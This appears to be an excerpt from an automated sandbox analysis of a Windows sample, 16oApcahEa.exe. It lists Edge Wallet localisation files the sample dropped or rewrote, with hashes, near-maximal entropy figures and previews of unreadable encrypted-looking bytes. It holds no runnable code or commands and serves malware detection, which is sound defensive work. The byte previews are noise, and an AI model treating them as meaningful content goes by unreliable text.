.Y....B.(.%.......M..`.8E...G..B_U.C..........W....4.[k..9.....P.....9..8...Ss(......v....31A.G\|..:#.....H:..T7..@/O.....Y..4..^``....D.0_..@umZ.v.pe....Y....I..Q...i..\|.,..%W..R..cp...{..p...M...M../5@..3.X..._6.\.5<n.%...l^3G4,.J......c(.$......N..^J.wm.N....../R,[....N.++P.j`t.?;$..-.[...V.Gd....VH..`..'....].=,...+...J(.B....d..Q...e.ijk#.........~e..7.SuW;.J#.u.{1.3.O.my.j.:a{CF..&R.... .j.y...&.....B....S.].}Q.....:....Ia.+..(.....yJ.S#.:,......2.j...B.P..].,.+.".d.....q......7.9..3...i...mIK...H............B..+{...n.!3eUb..#.K..O.....$.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\id\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5730
Entropy (8bit):	7.96525443841248
Encrypted:	false
SSDEEP:	96:+BgnAXJ0zFbEi4L5khXVEeIabNgp7UoR3gWx/Dr53KFfBZjfuIREHr:qg4WzFeL5khXVEXX7Uozx/Dr53KJ9EL
MD5:	6A062261E133B3110DD95767648D4A13
SHA1:	02B6D5ABD626E8C141F3122769FC687D17A6672F
SHA-256:	8AA2A14D852C8A2E368E7478044B835184F94957BFB6B78B34CA69D49E5BFAA0
SHA-512:	509F9008A956F4993A09CE32085DF6D98C6A77D6618B169683D96B23660400C7C0DEBBBC56D27C2AFE17EBB19C39194253D90AE08EFD3181FD14B6EBA1D90E8D
Malicious:	false
Preview:	{. "f....HB...S5.o.j92.....-o.SM.m.=....:5..C...7...U.{.....0...#9.YJ.:....../.Q...AJ\|~..wBw..o$a.n..I..zy..,..[.....k.......Ou^l...m0../..........pb...%&:mQ._.x....0dX..0L=...=.WX.t....t..).{S.......o...OH........P...v...!r.pmd........t!8....z...sI.sD..1l...n0.L.z.f..k6Q"..l.......\>.o......1a..[Xw....MVQ.0.......;.<7j...{..oP.$-.\|'..~...].PD.5<....+......&..r.......}....4.....t.I ..=.WJ.e..+........S.".....)o..LPs`E..a~. (.....uc.5{..I.w.....-\|.........i..D...~TZU....4%......t...+Ep....[ ...v.....1."..Z.$...hp.TE..g.D...5<.ym.).Y.._...(...t}G....>N#..}zm..,...(....Vj..g.Be....5..^K....kf-..6~../.;...>.s........4^{I..*..%....iE.3$......Q.QM..V......a............W#QO..yR.ic.K.!\|.(<.f...,\|...0.B....{.......x.j..e}$d.....U.L..,.S..!..../a.....cO..K.....j...n.N/ .>2%C...g.2.D...g.J.R....=...P...........Vc.#...CIF..c...I'...X.0!....&.....Y.V..T...S.....e..e~K.3....GCNiq...}O81.!..n._....q...T6%.......r.}....<~5.o......-D!{.;.,...]R.M...N2s

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\it\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5837
Entropy (8bit):	7.97395019891745
Encrypted:	false
SSDEEP:	96:lR7Wb/hkmK2LkmWetggojiMVJyfB5TWf5gG+C71KCWZwvLPbUkqSlTCaElcB6:lE/hk2Lk2tggoBy5ag2+ZkLP5zn8
MD5:	052887EB5B86563B1B2282EFF54A2B4A
SHA1:	149B9279A9E7F2106D8205E40F6C4062A8576D51
SHA-256:	E21D6A97DA5787C8ED3DA91D826C21CCF58EDAC6387482CA7F8233082DA51350
SHA-512:	C3C09764286951F2EDB5B36EAA466E0F8BA840F896B19587CE1693E6BDC441360367A3920D3A6BDEABDC75E9D38E67EA6BC627D83BF004AF03B141285E11CA36
Malicious:	false
Preview:	{. "....?0B....#x.w._.u.G1"....C...m....'.Unw.)....T..._...:........y.?.Ku_...::..VcC..1?2.R"m.lp... .....8N...}..fv<....w.....N...R"-.y.g.r+..J..e....N.[.6W~WsY:.......B..z.^..T..tB....i..`....)...F.J.\.8../.X.fO.8....o.....)$K.E...o...u.(.B.......I.)..c..._..?..)....zp.+.4=mGx.....K..Bw.b.!.../..v.AxK...6.?.."-.h....8v.2....Ij.>...t!..w.ot..V/..\|(.../..9Q..b/A.Q..#..6.6C.1.....,,C(Y7...'1W=^;VR.TQo7....H..>.......a..Z...1....$46...(.Y..X..e..mJMd....`~....3\....V.(...v9[R]z.s6...N.m..Jl.E13.b[.r.{&..N.i&YLg.nW.a.^.$.....R.[..C.{.......8..<.8.?.8......^[N.1.$.\|(D..Z...`P...=..9.........p.$.v.f...X=..T..=..3.....<Ut.L.yz.H...P..R=......,.sj....64.""[.b..v...d8.2....j.hS.b.A.M.8t2...aT.H`....I.`.nk>...h.a.....iV...(....."..N..g00.sm1.Z5.Y..2]..y...y..dP.....p.+,.p...y.M.=....6#..j..#8.......~..O...K.C0c..0uFG..%..}t.y.E.:.M....L.G...!.x...\...)-...E.W.K...7...........pe=S.P.o.qi.f.....31.*..9....vA.^y6&.......9...f59...S...."..3.2.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6603
Entropy (8bit):	7.96872772684098
Encrypted:	false
SSDEEP:	96:OiWJdhxRTFiJdI/G0OiDnPv3RoFE53mW5Cvn1frrus/gFOM6EIQRsFlV4:eJfFiJS/Nn3dWlNfrrus/A6qiFly
MD5:	B68767B2DA733AA9E65F3569E05E4E7A
SHA1:	155A9B2CB844A7AA56AE30D8BF77C31E1EB40F52
SHA-256:	C76FC600A56EB109DF75E7B93FAB2A1340E5314E55238EF0E8B5384A999A77AC
SHA-512:	955D834111E4DE89681BA80C5E287F3BB35417EEDFD5CFB1453C6002EE08BD90BCC0A9970D1B1F6C042DBE2A97DE5DCC86930C414D5B819B40CFCA72F57B71A3
Malicious:	false
Preview:	{. "4q.c...9Uo$.3.....E.......`F.(...y..m.....Rd&T......}.\...u.<&=.V.7.a+a.[]..vgr.JcM...!.....C.f.x...W&.3.....}....SZ.v.EY...M...).8y!M....H;.3. 3...p.6.B...\\.8..bg..x.4.f.YO\|.\|..KR!;.m._I..W.. .M......i...q>.........&...`......d.F.v?L..=..pT...Q<S. .5...M-{...3..BlJ...........b".Ak.{#hE......Fs....e...!%C;....&..X)O...B..V...P._.........$(.wX.........=S7.]..w...A.....P.m.a.NXx....0i..h.o.m&.).........v1%..u.w..7..L^`......?.p,......b...k{.q.i.[6.6.....^..U..B.,)...<.9.m..>~..r..n/3...(.z.$.o...v93.\..8.k.....MLM...H..W.Yq..K...vb.d5.O.z..->.u.y...b.....`.c....W.3I.\|../...RH........:.M.q.r..........UE....(."i.J.....j.._...qw......s..d...3..d./.6.Z..\.,.!:/.a..H"...2...z......p-..l.t......bj${@......=..>.ENE"@..=b....+./._....I.......;..,_O..~..8........s........].(.lx.wT,....'.....4l_#-\MVuK.......c.A.Jm.$.;j...i...E...*.7.n%..q3....?%N.Q....rI:X....N.79.h....u.mDK..G.E..s.}.Gi\|.H...q..5."..4........%......e+F....L:.......2D.G...,;

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5779
Entropy (8bit):	7.967396766253733
Encrypted:	false
SSDEEP:	96:0es4kI4cMLl4jEmbtXkfnMJ09Q1c+7ektrJ3KymJ0NUGqc3e/woFReZEi:jH4cM6LtASp77FJ37mC1que/woF0x
MD5:	A40F0815A6B46EF4EDBCB21B4B796667
SHA1:	31943AA93E8C5E5995F692E5F611CEC43070AAC7
SHA-256:	412D625BA1DB2FF0C10298294DCBB1F86F6269C3060D3C85C35B28513D20C878
SHA-512:	F66C93F5D0D83D243F4E5E3A9E90E929CA407300647165EF61104A397136467B8AC6B3F4FF619E935BADCBFBA4B9F4E13C65B0112BFD501F05D522E00D8F337D
Malicious:	false
Preview:	{. "....%'_5....5.N]..j1.L.7..i.<+P....H.V.b{<......R...0..k.d}..\|.M.........]..m..V!3..m.....b... bdp=.B..ISM..?BX...+3&G.u..._...[..f.3....o.].K...X_...M@.~Z.H.\.w.g.~...>.)......:..;..Z.6.QvR@.k.....e./.U0../..u.....b...5[.....=6..w.C.}.A....^.....e....'.`......6.".TM.e....iBo..5.?..l ...\|D....A).e\|t....{.-.y...yw..t...K...7......p......9.....y.L.Hu..."........U..U....f.9./.bQP....Q......n.C.......).+...p.<.....N.p.".8..&........nu.SI.9..,..Sb.gd..T.S.S..\...r........dlt....R..B]....aR!.4..b.\|S...\$..$.l...'z.t..oD.....n;....l(H..9o;s.G...K...0R..?j.7...f.<...g\|<i%Hv..#...8..N.i\|,.....Z0..sGY...G.Q...[....w.@@....[...V..$..j.....=..z...>m.=../..T....G..9.....Q.f.^..t.&.[.....dL:....../..Rm.bq..(.....6....z.....%..ECS$;..>.>F.!..bQ.F..9.X...5.^ ....{.v..}`.n.U...l.v).V:eP....O.2;..M9N$..kH..H.<T.g......2..z..q...a...?p....o. .q...l. 8P%...VQ....&b.@..~m.O....q.....p.^..>...bO.A.i........U9..8.T....P.9...Z..9.x.d^r.[D...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5760
Entropy (8bit):	7.967133839006585
Encrypted:	false
SSDEEP:	96:1/1M8YEgFv6KAKdvkYR4Ow4FQIk9PFVdSb8EopA54IbZzic33pFgcrtLATAR/X/:9yDDl6K3dcYRPwp9PQ1QA7BicjjZKun
MD5:	EF15875F2735BE8271CFFD789B4C0A7F
SHA1:	AFC5B7B2AFCF26C18593E3D18C865B3FA7EFDFC4
SHA-256:	A737852ABE76974FE5BC4C23B95A65B0C613B94D6C866FF793BDA378CD26CFBB
SHA-512:	9BA38689C9DAD24DD4DBD1BA0E77264D27ACDCC1B5B0067A95CDEA888E3D2248AD32DB0615E4381C8741DDCDAA1C182D776991C9BAF2D02FE79953BE7A8676CE
Malicious:	false
Preview:	{. "....I{.F..@{{......2..$.b........#..atC;U.... <.?..n.,xO.[#......M>.A.$FC..V...@.Ro].....?B..)T......i.qY%4..iEQ..F'.F.V.....>..[..K`...Ei..Z..4y..}6......+....]V:..;.L.o....n.B.........Q...vJ-\|..{jw#.zXz.-x..~.Q.O.J1....2......Z..9.~.K#.......Y.v@..`.<..rW...g.m....f5..9"k.5....U........Q...SoM`....3.{G....)HW......W.XRTX...~....W.S[O..i.2...A.......H..u..Cd..~~...\|V.....S.....\....$....[}..om.Hn..3..W..Y..cNq.=8?,.y.<L.P..b.~..#Y.1.#O.=.A..X.xj....W.w.OX...u..4...!%9.]..p& 7.OY.\B..^(..]...t...B...V..z.u..[N.5....e.s...W.....?.\U...x.ZH\.f..g].+.,.....\|.!.f&i`.b..;...c.X..$..[.W......\.i..S.a..!c..)x....G.... wF.).....I.h@...juN.=:........8M.d....\|;N...D.S,....b+i..+VU.AN...LB....?.....a......2J..Ei4.;.."[N...=..........w..>Q:......`;....^...H.....'2D.../7.._d^......S.xH...N^iZ..Z.FZ..U-.oo.A.&..U.I.e..c.i.U.....;!).~4 . a.S.0.c:...pB....o...M.....H.....j...5.....M].P]9........U<.g.m.w.Dr.{.qg...)...%.S`u[......-tfT.@4..gC.D..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5917
Entropy (8bit):	7.966634672452973
Encrypted:	false
SSDEEP:	96:YLS3sPi9DZ092D1O5CedY640zxCQggsSlhrhB2vys0Hzp6t5X1:YLS3ymDZTDSCeUFVmzp6t91
MD5:	0476CF43C7592CAC9F0835C05ED9C455
SHA1:	2F61F7EC11FA5A04118CA55BEC95F2EF8E624D81
SHA-256:	21925D1297C380FC4870557DDF0F33E43CC6635355C6231B6AF3AB139D4F2192
SHA-512:	46BA693EDD71CE6781FBCADCA23D5E424544B7D3C662AFB4E300280845952A34E4CF0FCB36A2335911019F1F0CE3330A88D34D85863AD652889C6D0459BCB384
Malicious:	false
Preview:	{. "..)kb........}.m.aJ.1...8.B..uc ...k\|..{.t....o...@..J.....c...C8<Y2w..............\|.".Z#GN......9..[.}..t'..+...FIb.. ..AV.m!6.}O.....fq....r.G..}.\|9.k`....gM..E.+Wq<...0v.Z.~._-!.jo....a\|.I.R.;..]y..g.#..`.=...`....:.B.x.\.)....U.A.)9.\|..c.._cb.Z...U./.%oR...,.. ...&......G/..m7......<te...Yq....#. X..V.8...F.~.......4,6.JuCZ..._q)5Z.D'5.()..A.r.f..1vh.......h.....F......r...n{.l..C..,.8....>G..:D/N.,..{F...\..v..Ux[....{.V...N....p.S.....$y...CO.h..._.`..6.;@.^.....a.%........>.......ZSt..l..i\|v.%>..............g..E.l.g.00]....}.r5....e......>l..`(..B.xW..rk.r....>........8.=...dUL..%.....;....nZ....7.?...D.~..2..#.:..."...5.r^>5.b..V.C~.7ZE^...H...n.o.c^:c...G......>.Dxw.sv......... h.:.>Q.].."....,......R..O..<3h...F..;.PN]p.N.y.B.g\..i.y..()(.....Q..c..IJ.h.".-..J..%...f...5hQ6.yUC...U.E^.M6..R..\......t=9..9.w.j.dy.Y0......7....c.1^.-.....z.qb.d.F`......j.$.\..T.!H%\|.1h....m....."......V]3L.."K`y........l1..]....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7884
Entropy (8bit):	7.97233194722063
Encrypted:	false
SSDEEP:	192:JrK/rTyvRqvUoGsGWQRlvyRbGCzgWr09WDk6vBrUJ79:w/rTyvMUdsGn/Czvr04kgY9
MD5:	D8DD181E6EED15881E4FFD29059D0254
SHA1:	956A19FCABE6F20286421470241096194C4D73C1
SHA-256:	18F0A5E7BD3945AEA55C7B797530A37C28AF0E9A4E2A8BCA0317AF592657CE7B
SHA-512:	AB0B0A80B010C57988822BC701E45FCA761352A6582F2B899A15D7E274C807CCEE6FF92EC9F36F1A5673C924F670F742FC90ADCDA0E29CD9AEF1580F4B37E03C
Malicious:	false
Preview:	{. "c$..!..\.8.xNj ]_....i".T?:U8.)aX.........jfB.....FMI"B.9....Ak.t#..\j...;u.R....K....,.}......x>S.......R\A=.+p.e.Z......?..j.N...#c...I..(N]s........J..+.._7.@.b.(Q....".:1..6./....B ..T......7...(."..q..!Jo...Z.o...P.Bo.nW..W#.pr)&.t.a...f....h........."..C...tt..^mt.x...]..$s;#.}...-cl....."..$.)...^x{...!l..2....j...](...#e.8s..!....8.....`....(v.....mR.^....X..R.v...T..."..,.t..;.I.Z....WyD;.......v.KT..._...#.w6z".>..W...n.)..t3\.2*.`]pc.o~V...M.M.2....r.P.5.bC..i.(.../..h........<.....R....g"..t.J...}..o.....b....=H......o.8.B...0./]..$..dE..w.+7..50...!=..Y.....(.....?Ks...Q..=.s.\|w.y....dl).....`Oo.\Q....a.O..2H..i...?...3.P.yf.}...H.....z...]X...b.!.mC.L....a...8.....r..+q.E<0U..aN...O.h.!..[X.f l?....hQ3).q=AD.~..o.#..2....@\.S;....5>......F[......5c.....c.....518.O`,..?...`%.[&-..P...4d..a....z-U\...+..QnL......<.5.>m..5.R....%~D.p..>DwS.\|.\.L..Z....Z.F...40m..X....h....T51..:&......`o..!...u......'..-..E.)2."7.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5733
Entropy (8bit):	7.970512481113093
Encrypted:	false
SSDEEP:	96:8K47CPGPavoyNZMJ6joZkuW4gvEiYbKdsbsTKK09KZO3nw8E4m2EPRw21YdWtOcX:8K4m+B4C6UZkd4gvEoGQeK0gs3nwCDOF
MD5:	1468D576CA59FE43A7E7E18359664C32
SHA1:	F45B092E622B0D52D909DB34B087D51681D90E1C
SHA-256:	740910E32A9FAFD413513F1CD722E352710D45698DE936C61A74F1FE58AAB205
SHA-512:	D1E3DF251237DF74B4000A932DA26D5FC0A3E7A62989E05936B8404752828D56232909298BC3DF40480DCB72D1436CFE8F8E86B439A2DD5F4DB90D27C8852EC8
Malicious:	false
Preview:	{. "P.cT.....i.....-......"...uYze..NM).....i.v..S..^......l.#.......(.Ly6...w'...m._%..:].c.....`[\|.b..:4........,m..'..1g..E.q.z...f.....L..~...........7........K....).$.E..............K...J/....z.\|...}.....J...+..J9VL..Ud7."..R.\|..u....s....\|....C.@..O..I..a^...J.VE..SB.."....n..j.PP...\|........a....W.n5A..eM... .t.V...d.&.;...rC}..C+O`..+o.....q.(...h.....b......H........U8+.+...BE3.^...x...y.{.B7.:G....5.....\|&"A...72g....,u%....\BG`......n.~.P7Z.=Tt.cY..v.P...f.....\.a..PN.g....M~...'...Qf.....f.rw.0....j...9....Cn?..Q..\|.2.3yt..4.o..~."OAG.$..y....@.u\z:S'.r...w.......e.z}..........M.jH...)-..,..a`...B.....I..L.c...e...pb.]...N@-....G...._L9...}d.....+..>....U.8A..,QZ.Zr.~{...{RQ.o....2........X.w(.}...Su.I..^:j.po.r..V.L....L...]..W..TrP:..D57.(=l...%.9.@.g..>u(B..u.\|G...n..?1.O..r.U.T...E...<.Y.{.#W.^.XZ.....F.Q......../..O![....[7..q..ek..@=m.Ur.>K..E..s.L...U..8....".i.&...Q.dl...~B.fG..6...&v@%...........n*8Y.G-...U....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5298
Entropy (8bit):	7.9671277443891615
Encrypted:	false
SSDEEP:	96:lJID4+aZrYVoTks6RoJb40l7wnKqOw73N3gDr96mDGII2C/QNq2:jILaZEV6FmoJb44EvHrN3glLwBWq2
MD5:	BB60D11EF420674DEDC1CB82A06E4D14
SHA1:	D6EBF147654BFAA188C3E52CD46FA170EF4300D8
SHA-256:	4D0812409BEF7F92396AEE2A9834B36F622F65FE57C5B6F33F6E8CB5B1FFD63D
SHA-512:	A0C58DFC63E116B50F939EECCA52AC253B5900FE9E93506F8616356833C1C9A658F11CE85D5A0FEEA0EA0D009A31A8EBDDFBEEDE51F5B474C9692C3EB649AB8F
Malicious:	false
Preview:	{. ".^.7.u(.,....gy.~...H"\|.CV....:=.v3:o..kL.....>).Qa...r+].3.._.O./....jCT......q..tV......Q\|5...t..J0\o..(..3.Quu.e....p.....s........6R.$n.....t.A.M...xG\|.k.v.W......?...-......?....t{.^....h.$.:L...;N.....9.C.o.wgR...Z..BWq-~o.v..`.x....~.3.N.....p.jDWKD A.....X.8T.../..n..fI.............\|...I..d....z0....!.h.vX.wu..UsB...!n.Uh_...g....R....V.:@...x.s....a=!...3.Cm..T.O3.....Fv.yR.}...?X...! ..5..oL..h.<..IO.W.JP...j.O/k.b.0M~H.u.7.g....fmO.......1.b..u..4~.e.}w..;..!P..,...7_.s.N..=....cI..........K..)3.p...y.....[...G...P;..P;Yn.'.Gg..4\GG.Xs....4&v;.#7.YOA..h...].Q..S%.dy.....].(.}..hQ}7.j..H..m..^R..S.0\....]\|I.......s.EOz0.9..T.,z...`}}.H..}~.D...p..+..Neo/~.....M..xjY.......;.o....q.lf...$Q......7........%.....K.`.t.0i..I...\.:T4n:.Nst.M...t.$..'...0QMn..R...s.MS...F7....4..T).....j4,5K\.gb.........G~.m.wEG.Z4&....Lm..H...>A.....Q..E1...?.3O.r..A..&......]..s.:.%0..tw.W.....X.O...8..?"IT.)l.w.9.OH..QsDv.(..!.b`.[

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\zh-Hant\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5374
Entropy (8bit):	7.968217233559485
Encrypted:	false
SSDEEP:	96:dOAu2l3sDnr50GAmjrOoMf7KjGDB5yzD84JTZ6IB01/KX+KlK:7l3sLr5peoMf3B594GA01SXy
MD5:	D74360CB8DBF971DF94A6D3DBCFC384B
SHA1:	60938D184325304C713CD1C2EE94FD3BD70910D4
SHA-256:	D8C0FF8F7BBB957F940FF8F65EEB2F6B78A9701B8A3CA6969B26BE0095DBB518
SHA-512:	BFD622D0CA9A77489EFBB684F050BB19946DEE8430B8622B8E94475CB978BD46A48A228E55FE07C74FD5CD4033F7C98325DB6A0B3A26A80D79329D08A36971A6
Malicious:	false
Preview:	{. "......B.?\..4c....E.F......k.. &R....'F.~.Yf.JS...k.4...v.m7.+..MX.(`..Z_0.cC.I.)x.mg.w...x)y....'Bvv..%...f..YFX...o.\s.3...$.....aO......'....q.?..O............59...#....L...<".,....D..........}5.B...@Rx..G...X"...`/U...<..S5.....9..kB%=a....@7..@.].3...<_..EM...W...$......W.....;...7!........u..........E.T......Mt.a..C...#......#..p?....~y.!.U.G.............(.i8.Oc.#K.7.~;..i@.4.`.EkL......./C..R.......fYX.7#.....#....m....Q[l.."m+...z.e.xo..h......f..C.nd...(i.......F\|...[..^...:%1.6......oe....f.J..ko..6B\9]'Y.W...d.....m..E...9...$.]x...M.='..?.-.Z...!....^.......?......\|...f.$.G.Y......;...=.[... ..X.-...j.RD.>K@......gJ...Q....'r.........q.8..4..?./vk?.4..k.....k.$.+...._w.+.....mm..J..k.w.2/..z&..%4n.......d..........i>.cO......s.1.O.8.D.=R'......^..$Mj].iv.........Q.........#.5...q9ty9...=..W..a..\|I..r.rz.....,&.`'...,..:.C....T.Q...!Z.w+..=..1..%$.Z..g.2?@z....a..QJ...].Ln.....gpRl.Bh...R....3...N..8>.&.4...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	11026
Entropy (8bit):	7.98294300199496
Encrypted:	false
SSDEEP:	192:oxVoPwmChbbWiTG6AmhVsD/iyVRS7s/g2hicJsNTqMkcEzBNibKPADfD:oxiPwmAHq6zVsD/iyVY7s/1UkzzvmKPS
MD5:	717BD4F0175D6007E110A6DA2E6A4E37
SHA1:	2410CB8A63E9CD304334EC2E1A4ED772D2F64B32
SHA-256:	3C0F2355A12F44D5139AB7F5D918FE8ECFAC2E69A472647E9D32DA41FE8780BE
SHA-512:	D376D3722E498A1BD69394E77D1FE7205602F09D30791F589586B17ACCBCDF72B801B1DB5F8F2E5B8B7D7DCAFDE002E2C1C8CAA207BF0030A2674ACB0FAE6919
Malicious:	false
Preview:	{. "Z..m.i...e.._..B...s.+...C../.hG.3....P$....8..p.I...o....i.A.....}`q)lL...t.F'.......9j0.{....SZ...db..{,.a-.%.>1..M./..T4..!...>..i'.W....J...W...i......Z........d...NE.=]+.&.D..0g4+..I.PGmE......v.d%yw4I_3Vd_...i82...w..8........0......{. .r..@:7\| D,.-7O.8$...^.2.yL..4V...#l..D>Q%R.+...T.Z>.V....-.......P.1w.O.4.....%...r..m..#....I..?.....-{....1YGP.$.#.......4..Y........o3$...p'..../,../#..`....7......E.my..i.gI..W........By.f..P.f.. .6...l......6B....~<....'...e..0...q.R0C....A..6....kMI.Y..o.b/.....Q..[4=.........3..}.u..o..C..t.m`..2..A_.}[...d..@..l..fSK..I..G....`(....3..PU.S-..J3.W:..#]...g&S.."#.F...v..&O..x)...]..z=.#nN.=.e.R..j.l.../.N......P..i.}....L^&G......H....~.[SN....<...}..Q}a....g.8.u"......\|....L.N.....;..T .F8=nP.:a..V...P\|.~..xa)....&nE./..W.m..(Pt..p.......G.C[T..m<./J`.R>.C.{..Y.(-..&...........<:..fp..,M#..O....nn..L.!E.n....X..RT{,Xc.#..c....;.V......DfE....pe.qU~.c>...W%t.f..9.k...b..d......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\de\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	9516
Entropy (8bit):	7.978294328243806
Encrypted:	false
SSDEEP:	192:ZS/pRk3yD1kLBrwBuHglQ2uLHZ5IJz72AY+C/+ItRfvD90:ZS0isrRH5avzfItRfvR0
MD5:	A1ACB4182257D84379981B959B61B47C
SHA1:	480F3A03ABA9262EED10C61159B748798739F31B
SHA-256:	628CBD02B0829D5CDC1E01926637A72088555378F939781B7CD396E078D805C7
SHA-512:	71E552237E923F8D913FDDB85739CEED6375F088C12AF22A9C373D9F7F776C3D261F3FAFB691A79D1CCA25953E27235D9B9ED57ACB93E7D4C95BE8A8E97D2DB3
Malicious:	false
Preview:	{. "..Y...lA+...\|.....\..6,L....Ve/K..yA..y.._g..4..q.....A...y......In`,J.).'....9VV.f.5.n....P.#..6..r..&s......^...%-.B..T..`...i[..."S.....W.-Z..gv=-....Pq.....[.....a.-....).<..9....zPqH..C.W.p......k.C....C1..YN..S....S..WFk6...Rur7.a@!."...k.y4tv9..mJ.Iz...E.....itY..e.=S....M"~M..h.X.......8V.W.Nn..F..l.?K44./.y}..........0.R.&Z..7..x.X...."..C....,..-B.....X.....&...".....J....Y..[...YH.d-..L.=pOj..P\.?.h......+S..L...E.'H..."ia.?.....HZ.f.vV.<.....dh.......H.RY..Lt......A-k..!L.>.P.........U......8...s..\.}...e.\...~.0p.:K..8M.......%v.G.].~.<a..... ...l.p.......-8.U...Z..x.XBX.x)...,h....(..-..&...8.F.F...+.~..o..&..6}..5.......bP...=..M.2..!.>...P.#o......6..y....n.......&.Xe..w..........4.m...T...D.u._^...d.....WAWF.Y~t..=...L3r8..+"...e.......4.Ih.Hz....`u!....<+.))0...>.;.!.taQ_.G.@;.....m8F:..-.j^.e.7C.`.+.F...fjp...0.....b.......[.K...\.LS.....5...f;J.4_..ko.A.zw~.......,).(..0Q^........<2......?.......q...H.^...`.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8202
Entropy (8bit):	7.973970369569939
Encrypted:	false
SSDEEP:	192:4UO6Tjay6O6EYgdl7XL4cCOTbZPW/eSQzLddx4:NbHayd6F0DCmofQLd0
MD5:	3DF9DA6C0817EDF75A53302CD179939C
SHA1:	72099BBC366B55D8FF5746EF99A25B64CE77DF60
SHA-256:	853E2081B13FDA9A322B45EB3B0C439E15879A7259553A29B15F4D0D2CFA8837
SHA-512:	A1D532ECBB102313D253DB03E46AABDBB9DF0C56E81B46A2BE1559DAF262375F5F9D824F1FEF87838F272AA0ACC8142C5553BFE0DB54E70D2DA5E3BE966F405F
Malicious:	false
Preview:	{. "p.l.* .I..6...3..Y.i.0.r.d..V.t.x.T....n. ......g.2..C[...R.....)..%}.~..su..w..o.;..ua.z{...yQ.7..W ....<...{.....?dCU>.Q35.u+.S.0.;...>..RX.lmi..K?8.E..\...T...AX....V.c.....K+.P....Y....Q...6.....!..-.2rf./:...BXG..Bxb5...$..:..-:..[....`.V.m./...m.w..x?.C...5...(Ci`.a..0..u.Qq4..W.;......j.[..I...i`.,ip..Mv.!+o~..Z..l..~..G....4...V`Z3.J..S~U..b..+.?p......6.j.p.~S0V17..;...3d?.....\./.....+.H..M.{k.FV. ......n.g..2..Lu.U...tM.,q..h.O\|J-.Z.d%.P..m...i...Tv.;..M.(....J......(..f..l^r/...9..A.H.-..u.}b...<5"....dd.M.s..m.....;...Kd....'q.%...=....A.a.O....v....L.SVy....`-..B..0.u..zA""=.x4.0K.wEf....52.C.(..._.C.k.e.vDQ.$).l,.j..........Z.L...@\|.I~.-\.d.....N..XI..u.B.62V. m.N.l....R'+.j...c.%...eY.R...9...ij....5...o..Q:..G.s.C.U..T...J..5N.r..PI?Z{......[.E.....:.g..d....Z.V.Ed\.@Wxl.s.u......n....\.?..M...8....~..)B.....2..Ps'?.o.h.E`rd..\|...W.c.Z;..r.s..s....U.A.}e.Y...Ue*.OG...o.s0Zdi......6.......r..05...o!GAO..7.\t@.m..l-.;..?..S.$...M.E

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\es\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	9235
Entropy (8bit):	7.976697927988084
Encrypted:	false
SSDEEP:	192:HAQsrQVDgsulY8bFwEJGYBx1R9c1BveLlMaAmbyOankmAi8MgZ:gKhjCZJ6HG5MatAnk9MgZ
MD5:	2CA2FA5E49541DD4B88E1F00AFA26D76
SHA1:	5BDCAD5BCDB7895F36C10D8B886DFE63E7B0A86B
SHA-256:	9FFEC3E0B3FE3838832A30B37849E0BBA2D216D9CD0A8BD7E95D850CD53E538C
SHA-512:	45F1284CF6998D11519189117DA508FE8BFDB150694FD34440A073A82BE3DCA56E15B6DEDBE1DBE4C3B712CD6981015650F100E58924F87A0A1C8CE842687492
Malicious:	false
